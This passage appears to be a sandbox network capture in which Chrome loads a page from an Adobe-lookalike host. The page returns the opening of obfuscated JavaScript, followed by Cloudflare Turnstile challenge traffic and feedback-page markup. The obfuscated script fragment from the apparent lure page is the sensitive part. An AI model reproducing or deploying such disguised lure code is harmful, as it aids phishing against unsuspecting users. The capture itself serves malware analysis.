cfL4;desc="?proto=TCP&rtt=139921&min_rtt=139840&rtt_var=29626&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1504&delivery_rate=28814&cwnd=252&unsent_bytes=0&cid=fe79a0af07b69354&ts=378&x=0"
2025-04-28 07:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49724	212.81.47.195	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:10 UTC	623	OUT	GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1 Host: adobe.ecflabs.com Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:12 UTC	177	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Apr 2025 07:04:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 426833 Connection: close Vary: Accept-Encoding
2025-04-28 07:04:12 UTC	7103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 70 2c 44 29 7b 76 61 72 20 62 3d 70 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 7a 28 70 2c 44 29 7b 72 65 74 75 72 6e 20 61 30 54 28 70 2d 20 2d 30 78 31 35 37 2c 44 29 3b 7d 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 68 3d 2d 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 64 61 2c 30 78 36 65 62 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 31 66 33 2c 30 78 33 31 64 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 32 38 2c 30 78 37 32 65 29 29 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(p,D){var b=p();function Ez(p,D){return a0T(p- -0x157,D);}while(!![]){try{var h=-parseInt(Ez(0x5da,0x6eb))/0x1*(parseInt(Ez(0x1f3,0x31d))/0x2)+parseInt(Ez(0x528,0x72e))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49727	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:14 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 4197 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz cf-chl-ra: 1 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:14 UTC	4197	OUT	Data Raw: 38 64 35 70 36 70 24 70 50 70 52 70 78 6f 75 54 6f 75 46 70 6f 53 79 6a 2d 44 6f 51 75 2d 75 59 69 53 33 2b 34 75 4a 50 75 38 34 45 6e 75 77 75 4e 34 2d 6a 4b 34 45 52 61 4b 75 6c 34 33 50 4f 45 54 75 51 46 35 75 79 45 34 79 48 75 34 78 50 45 4e 6a 59 35 4d 75 71 75 35 64 75 57 36 70 2d 61 75 2d 50 4b 6a 45 51 75 2d 59 4a 64 75 68 52 33 66 71 53 37 36 4d 50 75 31 61 34 79 2b 61 75 6c 53 45 69 42 46 73 44 4f 45 65 6f 46 58 42 2b 4c 43 70 4d 6f 51 75 45 66 75 51 33 53 67 6d 44 73 75 33 6e 61 33 31 4b 4f 6a 46 4e 58 43 72 63 74 35 6d 4e 38 51 42 6a 73 75 51 4b 4d 76 72 61 72 4e 79 70 75 45 59 67 56 61 38 44 44 4f 34 55 2d 4f 34 75 76 78 34 45 33 75 6f 44 57 49 34 75 38 75 6f 50 75 51 54 71 6b 75 45 33 6d 45 68 48 75 35 6d 53 75 4a 53 45 76 65 50 44 75 55 53 Data Ascii: 8d5p6p$pPpRpxouTouFpoSyj-DoQu-uYiS3+4uJPu84EnuwuN4-jK4ERaKul43POETuQF5uyE4yHu4xPENjY5Muqu5duW6p-au-PKjEQu-YJduhR3fqS76MPu1a4y+aulSEiBFsDOEeoFXB+LCpMoQuEfuQ3SgmDsu3na31KOjFNXCrct5mN8QBjsuQKMvrarNypuEYgVa8DDO4U-O4uvx4E3uoDWI4u8uoPuQTqkuE3mEhHu5mSuJSEvePDuUS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49728	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:22 UTC	790	OUT	GET /cdn-cgi/challenge-platform/h/g/feedback-reports/lzyee/en-us/light/overrunning HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:22 UTC	1297	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 19370 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-oOjxvLAsDQafM88m' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-04-28 07:04:22 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-04-28 07:04:22 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 69 72 3d 22 6c 74 72 22 0a 20 20 63 6c 61 73 73 3d 22 6c 74 72 20 6c 61 6e 67 2d 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 54 75 72 6e 73 74 69 6c 65 20 46 65 65 64 62 61 63 6b 20 52 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 Data Ascii: <!DOCTYPE html><html lang="en-US" dir="ltr" class="ltr lang-en-US"><head> <title>Turnstile Feedback Report</title> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src &#
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 66 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 66 72 2d 72 61 64 69 6f 7b 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: egoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;height:100vh;min-height:100vh}.theme-dark{background-color:#222;color:#f2f2f2}.theme-dark .fr-text{background-color:#000;color:#f2f2f2}.theme-dark .fr-radio{appearance:none;background
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 33 70 78 3b 77 69 64 74 68 3a 38 30 25 7d 23 66 72 2d 63 6f 6e 73 65 6e 74 2c 2e 66 72 2d 65 72 72 6f 72 2c 2e 66 72 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 2c 2e 66 72 2d 73 75 62 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 66 72 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 66 72 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 33 65 38 65 66 66 7d 2e 66 72 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 3a 68 6f 76 65 72 20 73 76 67 20 70 61 74 68 7b 66 69 6c 6c 3a 23 33 Data Ascii: ine-height:1.5;margin-bottom:13px;width:80%}#fr-consent,.fr-error,.fr-link-wrapper,.fr-subtitle{font-size:13px;font-style:normal}.fr-link-wrapper{color:#0051c3;margin-bottom:20px}.fr-link-wrapper:hover{color:#3e8eff}.fr-link-wrapper:hover svg path{fill:#3
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 69 67 68 74 3a 31 2e 35 7d 2e 66 72 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 36 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 72 2d 73 75 62 6d 69 74 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 35 36 64 66 66 3b 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 66 72 2d 73 75 62 6d 69 74 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 2e 66 72 2d 73 75 62 6d 69 74 2d 62 Data Ascii: ight:1.5}.fr-button{border:0;border-radius:8px;cursor:pointer;font-size:13px;font-weight:400;line-height:1.2;margin-left:10px;padding:8px 16px;text-align:center}.fr-submit-button{background-color:#056dff;color:#f2f2f2}.fr-submit-button:active,.fr-submit-b
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 72 2d 63 6f 6e 73 65 6e 74 2d 77 72 61 70 70 65 72 20 2e 63 6f 6e 73 65 6e 74 2d 63 68 65 63 6b 6d 61 72 6b 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 66 72 2d 63 6f 6e 73 65 6e 74 2d 77 72 61 70 70 65 72 20 2e 63 6f 6e 73 65 6e 74 2d 6c 61 62 65 6c 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 72 2d 72 61 64 69 6f 7b 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 23 66 72 2d 65 72 72 6f 72 2d 69 6e 66 6f 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a Data Ascii: r-consent-wrapper .consent-checkmark:after{border-radius:5px;content:"";position:absolute}.fr-consent-wrapper .consent-label{grid-column:2;line-height:1.5;margin-left:8px;width:100%}.fr-radio{accent-color:#1d1d1d}#fr-error-info{display:none;margin-bottom:
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 31 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 7d 2e 66 72 2d 73 75 63 63 65 73 73 66 75 6c 6c 79 2d 6f 75 74 70 75 74 20 2e 66 72 2d 66 6f 6f 74 65 72 2d 74 65 78 74 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 70 78 7d 2e 66 72 2d 68 65 6c 70 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 66 72 2d 68 65 6c 70 65 72 20 70 7b 77 69 64 74 68 3a 36 30 25 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 Data Ascii: t-weight:400;line-height:21px;margin-bottom:30px}.fr-successfully-output .fr-footer-text:first-of-type{margin-bottom:6px}.fr-helper{display:flex;font-size:12px;justify-content:center;line-height:normal;margin-top:15px}.fr-helper p{width:60%}@media (prefer
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 72 65 6d 7d 2e 63 6f 72 65 2d 6d 73 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 72 65 6d 7d 2e 66 65 65 64 62 61 63 6b 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 34 30 30 70 78 29 7b 2e 66 72 2d 74 69 74 6c 65 2d 66 6f 72 6d 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 38 76 77 20 36 76 77 20 30 20 35 76 77 7d 2e 66 72 2d 72 61 64 69 6f 2d 63 6f 6e 74 61 69 6e 65 72 7b 67 61 70 3a 34 76 77 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 76 77 7d 2e 66 72 2d 72 61 64 69 6f 2d 63 6f 6e 74 61 69 6e Data Ascii: (width <= 720px){.main-content{margin-top:4rem}.core-msg{font-size:1rem;line-height:1.5rem}.feedback-content{margin-top:0}}@media (width <= 400px){.fr-title-form-wrapper{padding:8vw 6vw 0 5vw}.fr-radio-container{gap:4vw;margin-bottom:4vw}.fr-radio-contain
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 72 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 22 20 69 64 3d 22 66 72 2d 64 6f 63 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 63 68 61 6c 6c 65 6e 67 65 2d 73 6f 6c 76 65 2d 69 73 73 75 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 54 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 20 67 75 69 64 65 6c 69 6e 65 73 3c 2f 73 Data Ascii: <div class="fr-link-wrapper" id="fr-doc-link"> <a target="_blank" rel="noopener noreferrer" href="https://developers.cloudflare.com/turnstile/troubleshooting/challenge-solve-issues/"> <span>Troubleshooting guidelines</s
2025-04-28 07:04:22 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 66 72 2d 68 65 6c 70 65 72 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 70 6c 65 61 73 65 20 72 65 66 72 65 73 68 20 74 68 65 20 70 61 67 65 20 61 6e 64 20 74 72 79 20 73 6f 6c 76 69 6e 67 20 74 68 65 20 63 68 61 6c 6c 65 6e 67 65 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 69 64 3d 22 66 72 2d 66 6f 72 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 72 2d 66 69 65 6c 64 20 66 72 2d 72 61 64 69 6f 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 Data Ascii: class="fr-helper" style="display: none"> <p>In the meantime, please refresh the page and try solving the challenge again.</p> </div> </div> <form id="fr-form"> <div class="fr-field fr-radio-wrapper">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49732	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:24 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 4211 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz cf-chl-ra: 2 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:24 UTC	4211	OUT	Data Raw: 38 64 35 70 36 70 24 70 50 70 52 70 78 6f 75 54 6f 75 46 70 6f 53 79 6a 2d 44 6f 51 75 2d 75 59 69 53 33 2b 34 75 4a 50 75 38 34 45 6e 75 77 75 4e 34 2d 6a 4b 34 45 52 61 4b 75 6c 34 33 50 4f 45 54 75 51 46 35 75 79 45 34 79 48 75 34 78 50 45 4e 6a 59 35 4d 75 71 75 35 64 75 57 36 70 2d 61 75 2d 50 4b 6a 45 51 75 2d 59 4a 64 75 68 52 33 66 71 53 37 36 4d 50 75 31 61 34 79 2b 61 75 6c 53 45 69 42 46 73 44 4f 45 65 6f 46 58 42 2b 4c 43 70 4d 6f 51 75 45 66 75 51 33 53 67 6d 44 73 75 33 6e 61 33 31 4b 4f 6a 46 4e 58 43 72 63 74 35 6d 4e 38 51 42 6a 73 75 51 4b 4d 76 72 61 72 4e 79 70 75 45 59 67 56 61 38 44 44 4f 34 55 2d 4f 34 75 76 78 34 45 33 75 6f 44 57 49 34 75 38 75 6f 50 75 51 54 71 6b 75 45 33 6d 45 68 48 75 35 6d 53 75 4a 53 45 76 65 50 44 75 55 53 Data Ascii: 8d5p6p$pPpRpxouTouFpoSyj-DoQu-uYiS3+4uJPu84EnuwuN4-jK4ERaKul43POETuQF5uyE4yHu4xPENjY5Muqu5duW6p-au-PKjEQu-YJduhR3fqS76MPu1a4y+aulSEiBFsDOEeoFXB+LCpMoQuEfuQ3SgmDsu3na31KOjFNXCrct5mN8QBjsuQKMvrarNypuEYgVa8DDO4U-O4uvx4E3uoDWI4u8uoPuQTqkuE3mEhHu5mSuJSEvePDuUS
2025-04-28 07:04:25 UTC	1091	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:24 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 230168 Connection: close cf-chl-gen: 694Frum8dyvkl7GC5bGHKGKXG37ZNT0bVEvwNFmdo6P8EXKZW7WmsipAMrgN44/E3TOp0jOozi+9TMcfylfzSTzaaYzXhRr5aewBPla6vqz5H6Hi6GapI0GiDzzKCG1wJp5/NmKbVtSpAaINE+WQ/FiAA2/09Ekh1yxU9lM7w7+IcrybrJ6EqPWK/cwyeEfoKAYw7YzQGalRbTCIes0F2EolJ5oODGlC2yivA51p9j9+i+mOwsPUTaouQD16X64RlKfZZ2EG0d1SebFx964n6umhgpo8LpGRjU06oxvyJvuIG9dIETK4cpaoiwShsieP19q0EdkPj8rUTOG0swPSnViGWCfomj4r+OqJej2psKQ+UUfgGjSk2xa7bkWtvU2UYYujNf7mMD7XEFsD5bkrMykbG2l5LkNIHlgqWTMz88ELoH7DI7JXkkiB5v9jFd80Wtw5BnVWLwSO74ATWq0VoqIP/jprXvQrpzItaM5rV5uXHizqynGUb/adbNqYpgHqAMvyNXMbXWcqjgHn8COBGlDUy3pVA9/l5L7MjbGp3PpLn/TsmH/XuRIG/oM2wf6+YOqCph3HG1HfwY+FHl2opMOV2jAB/XlktPvNsZIlI2mN+rYOieSvjb4Wzxj4gDgsmGMN7iBAR6nOgLe5d8Ig2+T4mBShrtOwpj4SxcIZLv4YB8ncgI4vfq3/1hV+qJwWOyjGGZGPvXEvry9VtPbx/265hnsc1W3IMO6a1rTrBjdKxBXdWdKPleqdnh+8scwwfrqYTaY/gqDKoV2u6A88CCDdc86mkZE/uc++pyiRX6wiIuqEQIKv5ERCOQD/tf3/$OBjX2mxFyNa2Ek9znEJwOQ== Server: cloudflare CF-RAY: 9374b492d83eb38d-PHX alt-svc: h3=":443"; ma=86400
